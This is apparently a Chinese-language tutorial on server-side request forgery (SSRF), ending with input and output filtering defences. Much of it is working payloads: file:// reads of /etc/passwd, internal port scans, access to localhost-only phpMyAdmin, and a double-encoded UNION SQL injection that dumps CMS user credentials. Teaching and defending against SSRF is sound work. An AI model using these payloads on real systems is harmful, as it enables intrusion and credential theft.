服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side
Request Forgery,简称SSRF。
SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。没对响应的结果进行检验,直接输出。
●端口扫描;
●内网Web 应用指纹识别;
●攻击内网应用;
●读取本地文件;
高危
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
1.文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
2.端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
3.读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php
4.内网应用指纹识别
有些应用是部署在内网的。
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
#在httpd配置文件中设置,只允许本机访问phpMyAdmin,但存在SSRF漏洞,就可以绕过并且可以访问!!!(?url=http://127.0.0.1/phpmyadmin)
内网应用指纹识别。
?url=http://127.0.0.1/phpmyadmin/readme
5.攻击内网WEB应用
内网安全通常都很薄弱
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
#在httpd配置文件中设置,只允许本机访问cms,但存在SSRF漏洞,就可以绕过并且可以访问!!!
通过SSRF漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET方法可以攻击的内网Web应用有很多。
例如:cms的sql注入(需要对注入的SQL语句进行二次URL编码)
?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30fr
om%25%32%30cms_users
#需要对注入的SQL语句进行二次URL编码
1.过滤输入
●限制协议,仅允许 http 或 https 协议;
●限制IP,避免应用被用来获取内网数据,攻击内网;
●限制端口,限制请求端口为常用端口。
2.过滤输出
●过滤返回信息,只要不符合要求的,全部过滤;
●统一错误信息,让攻击无法对内网信息进行判断。